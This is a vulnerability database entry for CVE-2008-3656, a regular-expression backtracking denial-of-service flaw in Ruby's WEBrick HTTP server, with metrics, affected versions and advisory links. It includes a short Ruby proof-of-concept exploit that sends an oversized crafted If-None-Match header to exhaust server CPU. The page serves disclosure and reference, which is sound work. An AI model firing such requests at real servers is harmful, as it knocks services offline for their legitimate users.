CVE-2008-3656 : Detail

CVE-2008-3656

63.07%V4
Network
2008-08-12
23h00 +00:00
2018-10-11
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

Algorithmic complexity vulnerability in the WEBrick::HTTPUtils.split_header_value function in WEBrick::HTTP::DefaultFileHandler in WEBrick in Ruby 1.8.5 and earlier, 1.8.6 through 1.8.6-p286, 1.8.7 through 1.8.7-p71, and 1.9 through r18423 allows context-dependent attackers to cause a denial of service (CPU consumption) via a crafted HTTP request that is processed by a backtracking regular expression.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 32222

Publication date : 2008-08-10 22h00 +00:00
Author : Keita Yamaguchi
EDB Verified : Yes

source: https://www.securityfocus.com/bid/30644/info Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service: - Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations. - An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users. - A flaw in 'dl' can allow attackers to call unauthorized functions. Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions. These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. #-- Exploitable Server -- # require 'webrick' # WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start #-- Attack -- require 'net/http' res = Net::HTTP.start("localhost", 2000) { |http| req = Net::HTTP::Get.new("/passwd") req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100 http.request(req) } p res

Products Mentioned

Configuraton 0

Ruby-lang>>Ruby >> Version To (including) 1.8.5

Ruby-lang>>Ruby >> Version 1.6.8

    Ruby-lang>>Ruby >> Version 1.8.0

    Ruby-lang>>Ruby >> Version 1.8.1

    Ruby-lang>>Ruby >> Version 1.8.1

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.2

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.3

      Ruby-lang>>Ruby >> Version 1.8.4

      Ruby-lang>>Ruby >> Version 1.8.4

      Ruby-lang>>Ruby >> Version 1.8.4

      Ruby-lang>>Ruby >> Version 1.8.4

        Ruby-lang>>Ruby >> Version 1.8.5

          Ruby-lang>>Ruby >> Version 1.8.5

            Ruby-lang>>Ruby >> Version 1.8.5

              Ruby-lang>>Ruby >> Version 1.8.5

                Ruby-lang>>Ruby >> Version 1.8.5

                  Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.5

                    Ruby-lang>>Ruby >> Version 1.8.6

                    Ruby-lang>>Ruby >> Version 1.8.6

                      Ruby-lang>>Ruby >> Version 1.8.6

                        Ruby-lang>>Ruby >> Version 1.8.6

                        Ruby-lang>>Ruby >> Version 1.8.6

                        Ruby-lang>>Ruby >> Version 1.8.6

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.8.7

                        Ruby-lang>>Ruby >> Version 1.9.0

                        References

                        http://secunia.com/advisories/31430
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://secunia.com/advisories/31697
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        https://usn.ubuntu.com/651-1/
                        Tags : vendor-advisory, x_refsource_UBUNTU
                        http://support.apple.com/kb/HT3549
                        Tags : x_refsource_CONFIRM
                        http://www.debian.org/security/2008/dsa-1652
                        Tags : vendor-advisory, x_refsource_DEBIAN
                        http://secunia.com/advisories/35074
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://www.debian.org/security/2008/dsa-1651
                        Tags : vendor-advisory, x_refsource_DEBIAN
                        http://www.securityfocus.com/bid/30644
                        Tags : vdb-entry, x_refsource_BID
                        http://www.redhat.com/support/errata/RHSA-2008-0897.html
                        Tags : vendor-advisory, x_refsource_REDHAT
                        http://secunia.com/advisories/32219
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://www.securitytracker.com/id?1020654
                        Tags : vdb-entry, x_refsource_SECTRACK
                        http://www.us-cert.gov/cas/techalerts/TA09-133A.html
                        Tags : third-party-advisory, x_refsource_CERT
                        http://secunia.com/advisories/32255
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://www.vupen.com/english/advisories/2009/1297
                        Tags : vdb-entry, x_refsource_VUPEN
                        http://secunia.com/advisories/32371
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://secunia.com/advisories/32165
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://security.gentoo.org/glsa/glsa-200812-17.xml
                        Tags : vendor-advisory, x_refsource_GENTOO
                        http://secunia.com/advisories/33178
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        http://www.vupen.com/english/advisories/2008/2334
                        Tags : vdb-entry, x_refsource_VUPEN
                        http://secunia.com/advisories/32256
                        Tags : third-party-advisory, x_refsource_SECUNIA
                        The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.